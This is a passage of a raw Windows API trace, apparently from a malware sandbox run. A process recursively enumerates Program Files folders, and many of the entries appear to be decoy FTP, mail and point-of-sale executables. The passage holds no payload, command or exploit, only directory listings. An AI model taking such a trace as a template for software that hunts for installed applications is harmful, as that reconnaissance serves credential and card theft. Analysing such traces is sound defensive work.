1 [0029.690] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfa72e7a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfa72e7a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabfind.dll", cAlternateFileName="")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfddedd5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfddedd5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf9da906, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf9da906, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfa86dfb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2062a1d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc2062a1d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfbe97cf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77192e80, ftCreationTime.dwHighDateTime=0x1d58465, ftLastAccessTime.dwLowDateTime=0x32fb1aa0, ftLastAccessTime.dwHighDateTime=0x1d54ab9, ftLastWriteTime.dwLowDateTime=0x32fb1aa0, ftLastWriteTime.dwHighDateTime=0x1d54ab9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="winscp.exe", cAlternateFileName="")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77192e80, ftCreationTime.dwHighDateTime=0x1d58465, ftLastAccessTime.dwLowDateTime=0x32fb1aa0, ftLastAccessTime.dwHighDateTime=0x1d54ab9, ftLastWriteTime.dwLowDateTime=0x32fb1aa0, ftLastWriteTime.dwHighDateTime=0x1d54ab9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="winscp.exe", cAlternateFileName="")) returned 0 [0029.690] FindClose (in: hFindFile=0x70b630 | out: hFindFile=0x70b630) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa062c5d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa062c5d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0606470, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0606470, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa069e9f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa069e9f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0029.690] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa069e9f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa069e9f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718658 [0029.690] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa069e9f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa069e9f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa234be0, ftCreationTime.dwHighDateTime=0x1d594e0, ftLastAccessTime.dwLowDateTime=0xf1f91a30, ftLastAccessTime.dwHighDateTime=0x1d5493b, ftLastWriteTime.dwLowDateTime=0xf1f91a30, ftLastWriteTime.dwHighDateTime=0x1d5493b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accupos.exe", cAlternateFileName="")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0029.690] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718698 [0029.691] FindNextFileW (in: hFindFile=0x718698, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718698, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718698, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718698, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718698, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 0 [0029.691] FindClose (in: hFindFile=0x718698 | out: hFindFile=0x718698) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea0f40f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8ea0f40f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x85cc42cd, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1054327, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1054327, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1184e2a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x25e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb102e1c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb102e1c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1054327, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b623846, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8b623846, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43a82ff0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb121d3ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb121d3ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb13c02ce, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1a5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcdab090, ftCreationTime.dwHighDateTime=0x1d5a6f0, ftLastAccessTime.dwLowDateTime=0x431e6e70, ftLastAccessTime.dwHighDateTime=0x1d5a232, ftLastWriteTime.dwLowDateTime=0x431e6e70, ftLastWriteTime.dwHighDateTime=0x1d5a232, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="totalcmd.exe", cAlternateFileName="")) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcdab090, ftCreationTime.dwHighDateTime=0x1d5a6f0, ftLastAccessTime.dwLowDateTime=0x431e6e70, ftLastAccessTime.dwHighDateTime=0x1d5a232, ftLastWriteTime.dwLowDateTime=0x431e6e70, ftLastWriteTime.dwHighDateTime=0x1d5a232, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="totalcmd.exe", cAlternateFileName="")) returned 0 [0029.691] FindClose (in: hFindFile=0x718658 | out: hFindFile=0x718658) returned 1 [0029.691] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa062c5d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa062c5d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0029.691] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa062c5d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa062c5d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718658 [0029.691] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa062c5d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa062c5d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.692] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf39e4000, ftCreationTime.dwHighDateTime=0x1d53e09, ftLastAccessTime.dwLowDateTime=0x8cf1bd80, ftLastAccessTime.dwHighDateTime=0x1d59103, ftLastWriteTime.dwLowDateTime=0x8cf1bd80, ftLastWriteTime.dwHighDateTime=0x1d59103, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="heater.exe", cAlternateFileName="")) returned 1 [0029.692] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df0bf00, ftCreationTime.dwHighDateTime=0x1d5b45f, ftLastAccessTime.dwLowDateTime=0x8241a680, ftLastAccessTime.dwHighDateTime=0x1d5b286, ftLastWriteTime.dwLowDateTime=0x8241a680, ftLastWriteTime.dwHighDateTime=0x1d5b286, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="leechftp.exe", cAlternateFileName="")) returned 1 [0029.692] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa93f44c2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa93f44c2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa93f44c2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0029.692] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa93f44c2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa93f44c2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa93f44c2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0029.692] FindClose (in: hFindFile=0x718658 | out: hFindFile=0x718658) returned 1 [0029.692] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0678890, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0678890, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0029.692] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0678890, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0678890, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 0 [0029.692] FindClose (in: hFindFile=0x70e3e8 | out: hFindFile=0x70e3e8) returned 1 [0029.692] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0029.692] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*.*", lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718658 [0029.692] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.692] FindNextFileW (in: hFindFile=0x718658, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa06eacb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06eacb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0029.692] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa06eacb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06eacb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718698 [0029.692] FindNextFileW (in: hFindFile=0x718698, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa06eacb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06eacb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.692] FindNextFileW (in: hFindFile=0x718698, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1d567c0, ftCreationTime.dwHighDateTime=0x1d5c299, ftLastAccessTime.dwLowDateTime=0xbda0e3d0, ftLastAccessTime.dwHighDateTime=0x1d579bf, ftLastWriteTime.dwLowDateTime=0xbda0e3d0, ftLastWriteTime.dwHighDateTime=0x1d579bf, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="foxmailincmail.exe", cAlternateFileName="FOXMAI~1.EXE")) returned 1 [0029.693] FindNextFileW (in: hFindFile=0x718698, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2631c0, ftCreationTime.dwHighDateTime=0x1d5ad81, ftLastAccessTime.dwLowDateTime=0x86eb0e80, ftLastAccessTime.dwHighDateTime=0x1d57576, ftLastWriteTime.dwLowDateTime=0x86eb0e80, ftLastWriteTime.dwHighDateTime=0x1d57576, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fpos.exe", cAlternateFileName="")) returned 1 [0029.693] FindNextFileW (in: hFindFile=0x718698, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader 10.0", cAlternateFileName="READER~1.0")) returned 1 [0029.693] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7186d8 [0029.693] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.694] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 